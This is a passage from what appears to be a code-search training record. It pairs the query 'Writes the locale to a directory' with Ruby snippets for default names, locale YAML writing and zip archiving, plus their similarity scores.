"def default_taxon_name(taxon, options = {})\n return '' unless taxon\n if options[:use_iconic_taxon_display_name] && taxon.is_iconic? && \n Taxon::ICONIC_TAXON_DISPLAY_NAMES[taxon.name]\n return Taxon::ICONIC_TAXON_DISPLAY_NAMES[taxon.name]\n end\n tn = TaxonName.choose_default_name(\n @taxon_names_by_taxon_id ? @taxon_names_by_taxon_id[taxon.id] : taxon.taxon_names\n )\n return \"\" unless tn\n return tn.name if tn.is_scientific_names?\n capitalize_name( tn.name )\n end",
"def name\n @name || 'generic'\n end",
"def name\n @display_name || @name\n end",
"def name\n @name ||= names.first\n end",
"def get_default_tpl\n return self.script_name.sub(/^#{BASE_URL}\\//, '').sub(/\\..+?$/, '')\n end",
"def determine_default_account_name\n Cadenero.default_account_name = options[\"default-account-name\"].presence ||\n ask(\"What will be the name for the default account? [Root Account]\").presence ||\n 'Root Account'\n end",
"def default_app_name\n if is_workspace\n return default_build_settings(key: \"PRODUCT_NAME\")\n else\n return app_name\n end\n end",
"def set_default_name\n return true if self.name.present?\n self.name = self.file_name.to_s\n end",
"def name\n @name ||= self.class.non_namespaced_name\n end",
"def base_name\n @base_name ||= if base = name.to_s.split(\"::\").first\n base.underscore\n end\n end",
"def default_key\n k = names[0]\n k = k.respond_to?(:family) ? k.family : k.to_s\n k = BibTeX.transliterate(k).gsub(/[\"']/, '')\n k = k[/[A-Za-z-]+/] || 'unknown'\n k << (year.to_s[/\\d+/] || '-')\n k << 'a'\n k.downcase!\n k\n end",
"def default_template_name(default_action_name = action_name)\n path = \"#{$pjpp_locale}/#{$pjpp_template_set}/#{self.class.controller_path}/#{default_action_name}\"\n path\n end",
"def default_output\n name\n end",
"def default_font_name\n (options[:default] and options[:default][:name]) ? options[:default][:name] : Gosu::default_font_name\n end",
"def task_name\n @default_options.fetch(:name, nil)\n end",
"def default\n ''\n end",
"def get_name\n (name.empty? || name.nil?) ? '' : name\n end",
"def default_scene_name\n return @peer.default_scene_name\n end",
"def name_template\n @name_template || self.to_s\n end",
"def default_tree_name\n ''\n end",
"def name\n name = self[:name]\n name.blank? ? login : name\n end",
"def default?\n @name == 'Default'\n end",
"def get_default_label(t)\n arg = (t[@base_locator+\"/types/label\"].first)?(t[@base_locator+\"/types/label\"].first):(t[\"-\"].first)\n if arg\n return arg.value\n else\n return \"Unknown\"\n end\n end",
"def name\n @name ||= to_s.split(\"#\").last.delete(\">\")\n end",
"def get_name\n return \"#{name}\"\n end",
"def default_plugin_name(conf_element)\n case conf_element['@type']\n when 'syslog'\n \"#{conf_element.name}/syslog/#{conf_element['protocol_type']}\"\n when 'tail'\n \"#{conf_element.name}/tail/#{File.basename(conf_element['pos_file'], '.pos')}\"\n else\n \"#{conf_element.name}/#{conf_element['@type']}\"\n end\n end",
"def my_name \n @my_name ||= self.class.name.split(\"::\").last\n end",
"def name\n @name ||= (@config[:name] || self.class.name.split(/::/).last.titleize)\n end",
"def default\n self['default']\n end",
"def my_name\n @my_name ||= self.class.name.split(\"::\").last\n end",
"def name\n @name ||= self.to_s.demodulize.underscore\n end",
"def default_type_label(type)\n type.name.gsub(/::/, '_').underscore\n end",
"def name\n @name || super\n end",
"def naming\n name || nickname\n end",
"def default_base_title\n Rails.application.class.to_s.split('::').first\n end",
"def simple_name\n [@parent.simple_name, self.name.parameterize].compact.join('_')\n end",
"def name\n @name.empty? ? to_s : @name\n end",
"def default_domain_name\n return @default_domain_name\n end",
"def default_domain_name\n return @default_domain_name\n end",
"def name\n (default_name if default_name.present?) ||\n (iso_639_code if iso_639_code.present?) ||\n (id ? UNKNOWN_LANGUAGE % id : '')\n end",
"def display_name\n NAME\n end",
"def display_name\n NAME\n end",
"def default_graphql_name\n to_s.split(\"::\").last.sub(/\\Z/, \"\")\n end",
"def name\n \"<#{@name}>\" if defined?(@name) && @name\n end",
"def default_female_name\n ext_text(9000, 3)\n end",
"def validate_default_name\n default_choice = choices.find_by(:name, @default.to_s)\n if default_choice.nil?\n \"no choice found for the default name: #{@default.inspect}\"\n elsif default_choice.disabled?\n \"default name #{@default.inspect} matches disabled choice\"\n end\n end",
"def name(name = nil)\n if name\n @name = name.to_s\n else\n @name\n end\n end",
"def name(name = nil)\n if name\n @name = name.to_s\n else\n @name\n end\n end",
"def name(name = nil)\n if name\n @name = name.to_s\n else\n @name\n end\n end",
"def name\n @name ||= self.class.name\n end",
"def name\n @name || @id.to_s.capitalize\n end",
"def set_default_display_name\n self['display_name'] = gn if display_name.blank?\n end",
"def name\n base = config[:name]\n @formatted ? \"#{base} (#{@formatted})\" : base\n end",
"def default_base_path_name\n self.name.split('::').last.downcase\n end",
"def simple_name\n self.name.parameterize\n end",
"def original_name\r\n return @name\r\n end",
"def name_with_initial; end",
"def name\n name = \"\"\n end",
"def name\n name = \"\"\n end",
"def target_name(target_name = nil)\n @target_name = target_name unless target_name.nil?\n \n return 'default' if @target_name.nil?\n @target_name\n end",
"def vrf_name\n return :default if @resource[:vrf_name] == :default &&\n @property_hash[:vrf_name] ==\n @aaa_group.default_vrf\n @property_hash[:vrf_name]\n end",
"def given_name\n return @given_name || name\n end",
"def extract_default_title\n\t\treturn self.name unless self.readme&.table_of_contents&.first\n\t\ttitle = self.readme.table_of_contents.first.text\n\t\ttitle ||= self.name\n\tend",
"def name\n @name ||= new_resource.name[-1] == '.' ? new_resource.name : \"#{new_resource.name}.\"\n end",
"def assign_name(default = 'Bob')\n default\nend",
"def name\n @name ||= config(\"name\", \"WorkshopDash\")\n end",
"def default key\n @defaults[String(key).to_sym]\n end",
"def gen_name\n name.to_s.downcase\n end",
"def name\n @name || path_name\n end",
"def default_fixture_name\n \"#{fixture_prefix}_madison_square_garden\"\n end"
] |
[
"0.9102542",
"0.8864684",
"0.84408617",
"0.8213624",
"0.79921633",
"0.7780745",
"0.7754106",
"0.7750642",
"0.771804",
"0.75714076",
"0.74867105",
"0.7463388",
"0.7463388",
"0.74359965",
"0.72883534",
"0.7235551",
"0.7176406",
"0.71715426",
"0.71677595",
"0.71335834",
"0.7099941",
"0.70933074",
"0.70316076",
"0.70170426",
"0.70098406",
"0.7005458",
"0.69358194",
"0.6932454",
"0.6931653",
"0.6893234",
"0.68703073",
"0.6864808",
"0.6839583",
"0.6828118",
"0.6825605",
"0.681558",
"0.6812981",
"0.6810949",
"0.67954165",
"0.67935187",
"0.6783843",
"0.6774647",
"0.6767402",
"0.6748252",
"0.6730906",
"0.6722652",
"0.67222637",
"0.67079",
"0.6702087",
"0.6698631",
"0.6698297",
"0.6691209",
"0.6652355",
"0.66447467",
"0.66419137",
"0.66403496",
"0.6638711",
"0.6637352",
"0.6632781",
"0.66313297",
"0.66295224",
"0.66252875",
"0.6616368",
"0.6612568",
"0.6609931",
"0.660241",
"0.6590445",
"0.6587496",
"0.6587496",
"0.65782297",
"0.6573281",
"0.6573281",
"0.65687835",
"0.6560737",
"0.6553962",
"0.6548752",
"0.6544346",
"0.6544346",
"0.65425193",
"0.65415454",
"0.6540773",
"0.65298945",
"0.6522717",
"0.65156794",
"0.65095645",
"0.6495034",
"0.649394",
"0.6492055",
"0.6492055",
"0.64793324",
"0.64717144",
"0.6471463",
"0.6470929",
"0.6469306",
"0.64687896",
"0.64658463",
"0.64639425",
"0.64618176",
"0.6453897",
"0.6452933"
] |
0.7126954
|
20
|
Writes the locale to a directory
|
def write_locale(directory, file, strings, plurals, locale, date); end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write!\n Dir.mkdir @directory unless File.directory? @directory\n\n @locales.each_with_index do |locale, index|\n strings = @strings[locale]\n plurals = @plurals[locale]\n\n l_directory = locale_directory locale, index.zero?\n\n file = @table.to_s.empty? ? @adapter.default_file_name : @table\n\n date = DateTime.now\n\n Dir.mkdir l_directory unless File.directory? l_directory\n\n @adapter.write_locale(l_directory,\n file,\n strings,\n plurals,\n locale,\n date)\n end\n end",
"def save_to(path)\n File.open(path, \"w\") do |file|\n I18n.with_locale(meta.locale) do\n file << render\n end\n end\n end",
"def save!\n FileUtils.mkdir_p File.dirname(self.file)\n\n File.open(self.file, \"w+\") do |f|\n f << %(#{self.namespace}.translations || (#{self.namespace}.translations = {});\\n)\n self.translations.each do |locale, translations_for_locale|\n f << %(#{self.namespace}.translations[\"#{locale}\"] = #{translations_for_locale.to_json};\\n);\n end\n end\n end",
"def save!\n if self.file =~ LOCALE_INTERPOLATOR\n I18n.available_locales.each do |locale|\n write_file(file_for_locale(locale), self.translations.slice(locale))\n end\n else\n write_file\n end\n end",
"def write\n self.each_locale do |locale|\n self.output_locale\n\n self.snippets.values.each { |snippet| self.write_snippet(snippet) }\n end\n end",
"def write_localization_file\n render_template(resource_path('localization-en-us.wxl.erb'),\n destination: \"#{staging_dir}/localization-en-us.wxl\",\n variables: {\n name: project.package_name,\n friendly_name: project.friendly_name,\n maintainer: project.maintainer,\n }\n )\n end",
"def destination(lang)\n output_path.mkpath\n\n path = output_path.join(\"#{lang}.json\")\n path.open(\"w\") do |f|\n f.write yield\n end\n\n puts \"Created #{path}\"\n end",
"def output_config_for_locale(locale)\n save_config_file(locale, \"config\")\n save_config_file(locale, \"faq\")\n save_config_file(locale, \"form\")\nend",
"def create_yml_file_for_locale_mission(main_language, id, title, instructions)\n File.open(yml_path(main_language), 'w+') do |file|\n write_locale_file_headers(file, main_language)\n write_mission_to_locale(file, id, instructions, title)\n end\nend",
"def process_locale(locale)\n # Directories\n locales_dir = Rails.root.join('config/locales')\n templ_dir = locales_dir.join('template')\n local_dir = locales_dir.join(locale)\n output_dir = locales_dir.join(\"#{locale}_tmp\")\n\n # Remove temporary directory if it exists\n FileUtils.rm_rf output_dir\n\n # Output results to temporary directory\n Dir[templ_dir.join('**/*.yml')].each do |f|\n process_file(\n Pathname.new(f).relative_path_from(templ_dir), # Filename\n locale, # Locale\n \"#{locale}_tmp\" # Output locale \n )\n end\n\n # Override the locales folder\n FileUtils.rm_rf local_dir\n FileUtils.mv output_dir, local_dir\n end",
"def write_mission_to_locale(file, id, instructions, title)\n file.write((' ' * 4) + \"#{mission_id_to_locale_id(id)}:\\n\")\n file.write((' ' * 6) + \"title: '#{title}'\\n\")\n file.write((' ' * 6) + \"instructions: '#{instructions}'\")\nend",
"def save_config_file(locale, key)\n locale_config = {}\n locale_config[locale] = {}\n unless @config[key].nil?\n locale_config[locale][key] = @config[key]\n path = \"config/locales/org/#{key}/#{locale}.yml\"\n File.delete(path) if File.exist?(path)\n TTY::File.create_file(path, locale_config.to_yaml)\n end\nend",
"def write(path, text)\n path = \"#{@root}/#{path}\"\n File.open(path, 'w:UTF-8') do |f|\n f.write text\n end\n path\n end",
"def save filename\n File.open(filename, 'w') { |file| @translated.each {|value| file.write(\"#{value}\") } } \n end",
"def write_to_file keys\n init_translations_and_ignore_app_mode_file_dump if self.class.mode == :origin\n # Hash to capture the files updated on origin mode and the keys for each one\n result = {}\n keys.each do |key, value|\n #\n # Search the files where the translation will be applied to\n decide_filenames(key).each do |filename| \n (result[filename] ||= []) << key\n # Apply the current translation to the filenames\n #\n # It will save a key 'ubiquo.categories.index.title' with a value 'Title'\n # mergin the content of $filename with it\n #\n # Load the file\n hash = YAML.load_file(filename)\n # Morph the translation key\n # from: 'ubiquo.categories.index.title'\n # to: { :ubiquo => {\n # :categories => {\n # :index => {\n # :title => 'Title'\n # }\n # }\n # }\n # }\n # }\n branch_hash = Translate::Keys.to_deep_hash({key => value})\n #\n # Cast all the hash keys to String\n #\n branch_hash = Translate::File.deep_stringify_keys({self.locale => branch_hash})\n #\n # Merge the translation with the content of the file\n #\n #\n hash.deep_merge!(branch_hash)\n #\n # Save to file updated to disk\n Translate::File.new(filename).write(hash)\n end \n end\n result\n end",
"def create_locale\n set_params\n create_locale_file( params[:locale], params[:locale_name] )\n redirect_to :back\n end",
"def write\n ::Zip::File.open(@output_file, ::Zip::File::CREATE) do |io|\n @folders.each do |input_dir, src, dest|\n src = '' if src == '/**' # the whole src directory could be specified by /**\n path = source_dir(File.join(input_dir, src))\n write_entries(path, entries(src, input_dir), dest, io)\n end\n end\n\n @output_file\n end",
"def directory(_mapped_locale, _is_default)\n ''\n end",
"def dump_yaml!\n FileUtils.mkdir_p LOCALE_DIR\n File.open(STANDARD_LOCALE_FILE,'w+') { |f| YAML::dump(@translations, f) } \n end",
"def write(locale, name, value)\r\n #raise 'z' if value.nil? # TODO\r\n self[locale][name.to_s] = value\r\n end",
"def generate_locale_files\n enforce = I18n.enforce_available_locales\n I18n.enforce_available_locales = false\n\n locales.each do |locale|\n I18n.with_locale(locale) do\n template 'locale.yml', File.join(\"config\", \"locales\", \"#{file_name}.#{locale.to_s}.yml\")\n end\n end\n\n I18n.enforce_available_locales = enforce\n end",
"def write( language, nodes )\n FileUtils.makedirs( File.join(@root, language) )\n File.open( file_name(language), 'w+' ) do |file|\n entities = nodes.map { |node| parse_node(node.first, node.last) }\n file << entities.join(\"\\n\\n\")\n end\n end",
"def writeEntries(entries, path, io)\n entries.each { |e|\n zipFilePath = path == \"\" ? e : File.join(path, e)\n diskFilePath = File.join(@inputDir, zipFilePath)\n puts \"==Deflating==\" + diskFilePath\n if File.directory?(diskFilePath)\n io.mkdir(zipFilePath)\n subdir = Dir.entries(diskFilePath)\n subdir.delete(\".\")\n subdir.delete(\"..\")\n writeEntries(subdir, zipFilePath, io)\n else\n io.get_output_stream(zipFilePath) { |f| f.puts(File.open(diskFilePath, \"rb\").read())}\n end\n }\n end",
"def write_entries(entries, dir, io)\n entries.each do |e|\n file = dir == '' ? e : File.join(dir, e)\n disk_file = File.join(scr, file)\n\n if File.directory? disk_file\n recursively_deflate_directory(disk_file, io, file)\n else\n add(disk_file, io, file)\n end\n end\n end",
"def save_to_directory(directory)\n entries.each do |entry|\n FileUtils.mkdir_p \"#{directory}/#{entry.directory}\"\n File.write \"#{directory}/#{entry.filepath}\", entry.to_s\n end\n\n File.write \"#{directory}/info.json\", Oj.dump(info, indent: 2)\n true\n end",
"def dir_path(locale, category, section = nil, article = nil)\n # each resource has an id and name attribute\n # let's use this to build a path where we can store the actual data\n log(\" buidling dir_path for #{[locale, category, section, article].compact.map{|r| r['name']}}\", :verbose)\n [locale, category, section, article].compact.inject(\"./\") do |dir_path, resource|\n # check if we have existing folder that needs to be renamed\n path_to_append = output_type == :slugified ? \"#{resource['id']}-#{slugify(resource['name'])}\" : \"#{resource['id']}\"\n rename_dir_or_file_starting_with_id!(dir_path, resource['id'], path_to_append)\n # build path and check if folder exists\n log(\" #{path_to_append} appended to #{dir_path}\", :verbose)\n dir_path += path_to_append + \"/\"\n Dir.mkdir(dir_path) unless File.exists?(dir_path)\n # end point is begin point of next iteration\n dir_path\n end\n end",
"def write(path)\n @templates.write(path)\n end",
"def discover_locale\n locales = Dir[\"#{locale_dir}/*\"]\n locales.map! { |e| File.basename(e) }\n locales.join(\" \")\n end",
"def write()\n entries = Dir.entries(@inputDir); entries.delete(\".\"); entries.delete(\"..\"); entries.delete(\"yamproject.json\"); entries.delete(\".DS_Store\")\n io = Zip::File.open(@outputFile, Zip::File::CREATE);\n writeEntries(entries, \"\", io)\n io.close();\n end",
"def write_page_to_fs(page, filepath, locale)\n # puts filepath.inspect\n _filepath = \"#{filepath}.liquid\"\n _filepath.gsub!(/.liquid$/, \".#{locale}.liquid\") if locale\n\n _filepath = File.join('app', 'views', 'pages', _filepath)\n\n self.replace_content_asset_urls(page.source)\n\n self.open_file(_filepath) do |file|\n file.write(page.to_yaml)\n end\n end",
"def print_footer\n langs =\n files_list\n .map { |f| lang_for(f) }\n .sort\n .map { |lang| \" '#{lang}': require('./#{lang}.json'),\" }\n .join(\"\\n\")\n\n output_path.join('index.js').write(<<~JS)\n window.locales = {\n #{langs}\n };\n JS\n\n puts\n puts \"All files created, make sure to bin/webpack\"\n puts\n end",
"def write()\n entries = Dir.entries(@inputDir); entries.delete(\".\"); entries.delete(\"..\")\n io = Zip::File.open(@outputFile, Zip::File::CREATE);\n\n writeEntries(entries, \"\", io)\n io.close();\n end",
"def write(locale, name, value)\r\n stash.write(locale, name, value)\r\n end",
"def entries_to_dir entries, path\n if File.exists? path\n raise \"directory #{path} already exists\"\n else\n Dir.mkdir path\n end\n\n entries.each do |entry|\n e = entry.to_s\n\n new_filename = path + '/0x' + MD5.new(e).hexdigest[0,8] + '.atom'\n\n File.open(new_filename, 'w') { |f| f.write e }\n end\n end",
"def write\n make_parent_directory\n generate_file\n end",
"def write_entries(entries, path, io)\n entries.each do |e|\n zip_file_path = path == '' ? e : File.join(path, e)\n disk_file_path = File.join(@input_dir, zip_file_path)\n puts 'Deflating ' + disk_file_path + '...' unless @quiet\n if File.directory?(disk_file_path)\n io.mkdir(zip_file_path)\n subdir = Dir.entries(disk_file_path)\n subdir.delete('.')\n subdir.delete('..')\n write_entries(subdir, zip_file_path, io)\n else\n io.get_output_stream(zip_file_path) { |f| f.print(File.open(disk_file_path, 'rb').read()) }\n end\n end\n end",
"def write(path, options: { create_dir: true })\n FileUtils.mkdir_p(File.dirname(path)) if options[:create_dir]\n File.write(path, to_s)\n end",
"def write()\n entries = Dir.entries(@inputDir); entries.delete(\".\"); entries.delete(\"..\")\n io = Zip::File.open(@outputFile, Zip::File::CREATE);\n writeEntries(entries, \"\", io)\n io.close();\n end",
"def write(path, options = {}) \n format = File.extname(path).sub(/^\\./, '')\n File.open(path, 'w') { |file| file << encode(format, options) }\n end",
"def write_file(content, dir, file)\n filename = File.basename(file).gsub(/(\\.s?[ac]ss)+/, options[:extension])\n path = File.join(dir, filename)\n\n unless options[:noop]\n FileUtils.mkdir_p(dir)\n File.open(path, 'w') {|f| f.write(content) }\n end\n\n path\n end",
"def save_thank_you_letters(id,form_letter)\n Dir.mkdir(\"output\") unless Dir.exists?(\"output\")\n filename = \"output/thanks_#{id}.html\"\n File.open(filename,'w') do |file|\n file.puts form_letter\n end\nend",
"def export path\n File.write path, to_zonefile\n end",
"def po_dir=(dir); end",
"def update_output_dir(op_dir, time)\n File.open(output_flag_file(op_dir), \"w\") {|f| f.puts time.rfc2822 }\n end",
"def update_output_dir(op_dir, time)\n File.open(output_flag_file(op_dir), \"w\") {|f| f.puts time.rfc2822 }\n end",
"def save_thank_you_letters(id, form_letter)\n Dir.mkdir(\"output\") unless Dir.exists? \"output\"\n\n filename = \"output/thanks_#{id}.html\"\n\n File.open(filename, 'w') do |file|\n file.puts form_letter\n end\nend",
"def create_filepath(language)\n @dirpath = File.join(LOCALE_DIR + @type + '/' + @dirnames.first)\n File.join(@dirpath + '/' + language + '.yml')\n end",
"def create_base_yml_file_without_missions(main_language)\n File.open(yml_path(main_language), 'w+') do |file|\n write_locale_file_headers(file, main_language)\n file.write((' ' * 4) + \"hello: \\\"Hello world!\\\"\\n\")\n end\nend",
"def write\n file_name = \"course_#{@file_term}.json\"\n # Write the JSON to the course_work_content folder where the app will pick it up later\n Rails.root.join(\"lib/course_work_content\", file_name).write(@courses.to_json)\n end",
"def write_page(page, path = '')\n self.output_resource_op page\n\n # Note: we assume the current locale is the default one\n page.translated_in.each do |locale|\n default_locale = locale.to_sym == self.mounting_point.default_locale.to_sym\n\n # we do not need the localized version of the filepath\n filepath = page.fullpath.dasherize\n\n Locomotive::Mounter.with_locale(locale) do\n # we assume the filepath is already localized\n self.write_page_to_fs(page, filepath, default_locale ? nil : locale)\n end\n end\n\n self.output_resource_op_status page\n\n # also write the nested pages\n (page.children || []).each do |child|\n self.write_page(child, page.depth == 0 ? '' : page.slug)\n end\n end",
"def write(path)\n ext_base_dir = File.join(path, 'base')\n FileUtils.mkdir_p ext_base_dir unless File.directory?(ext_base_dir)\n\n TEMPLATES.each do |template|\n File.open(File.join(path, 'base', template.sub(/dataset/, short_name)), 'w') do |file|\n file.puts render(File.join(TEMPLATE_DIR, template))\n end\n end\n true\n end",
"def run\n locales.each do |locale|\n # checking that all files / keys exist for any non.default locale\n self.files[locale].each do |file|\n build_hash(file)\n create_csv(file, locale)\n end\n end\n end",
"def save_to(path)\n unless File.exists?(File.dirname(path))\n raise ArgumentError, \"Output path does not exist!\"\n end\n if File.directory?(path)\n raise ArgumentError, \"Output path should be a file!\"\n end\n File.open(path, 'w') { |f| f.write(@content) }\n end",
"def locale_files\n Dir[File.join(File.dirname(__FILE__), \"polish\", \"locale\", \"**/*\")]\n end",
"def locale_files\n Dir[File.join(File.dirname(__FILE__), \"polish\", \"locale\", \"**/*\")]\n end",
"def write_to_file(path, content)\n directory = File.dirname(path)\n FileUtils.mkdir_p(directory)\n File.write(path, content)\n after_rendering_run(\"rm -rf #{path}\")\n path\n end",
"def write(path, colorize = false)\n end",
"def update_translation( key, value, locale )\n \n # lock file\n filename = File::join RAILS_ROOT, \"config/locales\", File::basename( locale + \".yml\" )\n if( File.exists? filename )\n file = File.new( filename, \"r+\")\n else\n file = File.new( filename, \"w+\" ) \n end\n \n file.flock( File::LOCK_EX )\n \n begin \n # read project locale file\n data = YAML.load( file )\n unless data.is_a? Hash \n I18n.load_path << filename\n data = { locale => {} } unless data \n end\n \n tmp = data\n \n # create middle hash keys as needed\n key = locale + \".\" + key\n keys = key.split(/\\./)\n base_key = keys.pop\n \n while tmpkey = keys.shift\n unless tmp[tmpkey].class == Hash\n tmp[tmpkey] = {}\n end\n tmp = tmp[tmpkey]\n end\n \n # update or create value\n tmp[base_key] = value\n \n # save file\n file.truncate( 0 )\n file.rewind\n file.write( data.to_yaml )\n ensure\n # unlock and close file\n file.flock( File::LOCK_UN )\n file.close\n end\n \n I18n.reload!\n \n end",
"def write(dir, overwrite: true)\n FileUtils.mkdir_p(dir) # Make any parent directories\n @crate.payload.each do |path, entry|\n fullpath = ::File.join(dir, path)\n next if !overwrite && ::File.exist?(fullpath)\n next if entry.directory?\n FileUtils.mkdir_p(::File.dirname(fullpath))\n if entry.symlink?\n ::File.symlink(entry.source.readlink, fullpath)\n else\n temp = Tempfile.new('ro-crate-temp')\n begin\n entry.write_to(temp)\n temp.close\n FileUtils.mv(temp, fullpath)\n ensure\n temp.unlink\n end\n end\n end\n end",
"def create_locale_files\n @i18n_scope = model.i18n_scope.to_s\n @i18n_key = model.model_name.i18n_key.to_s\n @columns = model.column_names\n\n options[:locales].each do |locale|\n @locale = locale\n locale_file = File.join(\n 'config/locales/models', model_name.underscore, \"#{@locale}.yml\"\n )\n template 'locale.yml', locale_file\n end\n rescue NameError\n puts \"#{model_name} is undefined.\"\n end",
"def write(dir)\n @dir = FileUtils.mkdir_p dir\n @css_file = File.join(@dir, @filename + '.css')\n\n File.delete(@css_file) if File.exist?(@css_file)\n @output = File.open(@css_file, 'w') { |file| file.write(@result) }\n @css_file\n end",
"def output_path\n ::ManageIQ::UI::Classic::Engine.root.join('app/javascript/oldjs/locale')\n end",
"def log_file_path\n @translation_session ||= \"#{Time.now.strftime(\"%Y-%m-%d-%H-%M-%S-%3N\").parameterize}_#{rand(2**8)}\"\n file_path = File.join(self.class.root_dir, \"tmp\", \"locales\", \"log\", locale.to_s, \"#{@translation_session}.yml.backup\")\n create_empty_translations_file(file_path) if !File.exists?(file_path)\n file_path\n end",
"def process_file(filename, locale, output_locale)\n\n def assemble(templ, local)\n # If already assembling the string\n return local unless templ.is_a?(Hash)\n\n # If templ is a hash but local is nil, it means that the entire current \n # branch is not yet translated. Therefore create an empty hash to act as\n # placeholder\n local = {} if local.nil?\n\n # Recursing to traverse hash\n pairs = templ.collect { |k, v| [k, assemble(v, local[k])] }\n Hash[pairs]\n end\n\n def validate(node, path)\n if node.nil?\n puts \"Warning: path #{path} is nil. \"\n return\n end\n\n return unless node.is_a?(Hash)\n\n node.each { |k, v| validate(v, \"#{path}.#{k}\") }\n end\n\n puts \"Processing file #{filename} of locale #{locale}. \"\n\n # Directories\n locales_dir = Rails.root.join('config/locales')\n templ_dir = locales_dir.join('template')\n local_dir = locales_dir.join(locale)\n output_dir = locales_dir.join(output_locale)\n\n # Loading template\n templ_file = templ_dir.join(filename)\n templ = YAML::load_file(templ_file)['template']\n\n # If the topmost level of the template is not 'template'\n if !templ\n puts \"Warning: Template is nil for #{filename}. Aborting for this file. \"\n return\n end\n\n # Loading localized YAML\n local_file = local_dir.join(filename)\n local = File.exists?(local_file) ? YAML::load_file(local_file)[locale] : {}\n\n # Alert for new file creation\n puts \"Warning: Creating new file #{filename} of locale #{locale}. \" unless File.exists?(local_file)\n\n # Assemble localized strings into template file\n assembled = assemble(templ, local)\n\n # Validate to find missed translations\n validate(assembled, locale)\n\n # Output to file\n output_file = output_dir.join(filename)\n FileUtils.mkdir_p output_file.dirname\n content = {locale => assembled}.to_yaml\n File.open(output_file, 'w') { |f| f.write(content) }\n\n end",
"def write_entries(entries, path, io)\n entries.each do |e|\n zip_file_path = path == '' ? e : File.join(path, e)\n disk_file_path = File.join('.', zip_file_path)\n if File.directory?(disk_file_path)\n io.mkdir(zip_file_path)\n subdir = Dir.entries(disk_file_path)\n subdir.delete('.')\n subdir.delete('..')\n write_entries(subdir, zip_file_path, io)\n else\n io.get_output_stream(zip_file_path) do |f|\n f.puts(File.open(disk_file_path, 'rb').read)\n end\n end\n end\n end",
"def write_entries(entries, path, io)\n entries.each do |e|\n zip_file_path = path == '' ? e : File.join(path, e)\n disk_file_path = File.join(@input_dir, zip_file_path)\n if File.directory?(disk_file_path)\n recursively_deflate_directory(disk_file_path, io, zip_file_path)\n elsif include_filename?(zip_file_path)\n put_into_archive(disk_file_path, io, zip_file_path)\n end\n end\n end",
"def save_to(directory, options = T.unsafe(nil)); end",
"def write\n entries = Dir.entries(@input_dir) - %w(. ..)\n\n ::Zip::File.open(@output_file, ::Zip::File::CREATE) do |io|\n write_entries(entries, '', io)\n end\n end",
"def locale=(locale); end",
"def write_entries(input_dir, entries, path, io)\n entries.each do |e|\n disk_file_path = File.join(input_dir, e)\n zip_file_path = zip_file_path(path, e, input_dir)\n\n if File.directory? disk_file_path\n recursively_deflate_directory(disk_file_path, io, zip_file_path)\n else\n put_into_archive(disk_file_path, io, zip_file_path)\n end\n end\n end",
"def write\n FileUtils.mkdir_p File.dirname(destination_path)\n File.open(destination_path, 'w') { |f| f.write(sitemap_content) }\n end",
"def save_thank_you_letters(id,form_letter)\r\n\tDir.mkdir(\"output\") unless Dir.exist?(\"output\")\r\n\r\n\tfilename = \"output/thanks_#{id}.html\"\r\n\r\n\tFile.open(filename, \"w\") do |file|\r\n\t\tfile.puts form_letter\r\n\tend\r\nend",
"def write_file(dir, name, data)\n path = File.join(dir, name)\n File.open(path, 'w') do |f|\n f.write(data)\n end\n path\n end",
"def write_entries(entries, path, zipfile)\n entries.each do |e|\n zipfile_path = path == '' ? e : File.join(path, e)\n disk_file_path = File.join(@input_dir, zipfile_path)\n puts \"Deflating #{disk_file_path}\"\n\n if File.directory? disk_file_path\n recursively_deflate_directory(disk_file_path, zipfile, zipfile_path)\n else\n put_into_archive(disk_file_path, zipfile, zipfile_path)\n end\n end\n end",
"def write\r\n entries = Dir.entries(@input_dir) - %w[. ..]\r\n\r\n ::Zip::File.open(@output_file, ::Zip::File::CREATE) do |zipfile|\r\n write_entries entries, '', zipfile\r\n end\r\n end",
"def write_report(data, subfolder, category)\n puts \"writing reports for #{category}\"\n count = 0\n Dir.chdir(\"Reports\")\n \n # Creates the subfolders if they don't already exist\n if !(Dir.entries(Dir.pwd).include?(subfolder)) then Dir.mkdir(subfolder) end\n Dir.chdir(subfolder)\n if !(Dir.entries(Dir.pwd).include?(category)) then Dir.mkdir(category) end\n Dir.chdir(category)\n \n data.each do |d,n|\n f = File.new((\"#{n}.csv\" or \"#{count += 1}.csv\"),\"w\")\n f.write d\n f.close\n end\n \n Dir.chdir(\"../../..\")\n end",
"def rename_locale_file(path, file)\n\t\t# retrieve the filename\n\t\tfilename = file.path\n\t\tfilename.slice!(path)\n\t\tif filename[0] == \"/\"\n\t\t\tfilename.slice!(0)\n\t\tend\n\n\t\t# rename the file\n\t\tnew_filename = rename_file(filename)\n\n\t\tnew_file = File.new(\"#{path}/#{new_filename}\", \"w\")\n\n\t\t# once the new file is created, we need to copy and paste\n\t\t# the entire file, except for the first line\n\t\tfirst_line = true\n\t\tfile.each_line do |line|\n\t\t\tif first_line\n\t\t\t\tnew_file.puts \"#{@to_locale}:\"\n\t\t\t\tfirst_line = false\n\t\t\t\tnext\n\t\t\tend\n\t\t\tnew_file.puts line\n\t\tend\n\n\t\tif self.delete\n\t\t\tFile.unlink(file.path)\n\t\tend\n\n\t\tputs \"#{file.path} -> #{new_filename}\"\n\tend",
"def write_archives\n self.collated.keys.each do |year|\n if self.layouts.key? 'archive_yearly'\n self.write_archive(year.to_s, 'archive_yearly')\n end\n\n self.collated[year].keys.each do |month|\n if self.layouts.key? 'archive_monthly'\n self.write_archive(File.join(year.to_s, month.to_s),\n 'archive_monthly')\n end\n\n self.collated[year][month].keys.each do |day|\n if self.layouts.key? 'archive_daily'\n self.write_archive(File.join(year.to_s, month.to_s, day.to_s),\n 'archive_daily')\n end\n end\n end\n end\n end",
"def locale_file_path(locale)\n \"config/locales/#{locale}.yml\"\n end",
"def save_stored_data(dir)\n return unless exist?\n file = File.join(dir, \"#{name}.#{Gem::Version.new(ole.Version)}.cfe\")\n ole.GetData.Write(real_win_path(file))\n file\n end",
"def write(node)\r\n dir = folder(node)\r\n src = source(node)\r\n txt = text(node)\r\n unless dir.empty? || Dir.exist?(dir)\r\n Dir.mkdir(dir)\r\n @on_create_dir.call(dir) if @on_create_dir\r\n end\r\n File.write(src, txt)\r\n @on_create_file.call(src) if @on_create_file\r\n node.items.reject{|n| n.items.empty?}.each{|n| write(n)}\r\n end",
"def set_locale\n end",
